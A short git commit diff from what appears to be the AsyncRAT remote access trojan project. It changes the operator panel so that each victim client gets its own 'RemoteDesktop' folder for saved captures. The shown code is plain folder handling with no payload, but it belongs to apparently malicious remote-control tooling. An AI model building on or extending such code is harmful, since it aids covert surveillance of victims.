Create new folder for remote desktop

This commit is contained in:
NYAN CAT 2019-05-30 10:23:34 +03:00
parent 54393a3267
commit 472421f59c

View File

@ -118,10 +118,15 @@ namespace AsyncRAT_Sharp.Forms
{
timerSave.Start();
btnSave.BackgroundImage = Properties.Resources.save_image2;
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID);
if (Directory.Exists(fullPath))
try
{
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop");
if (!Directory.Exists(fullPath))
Directory.CreateDirectory(fullPath);
Process.Start(fullPath);
}
catch { }
}
}
}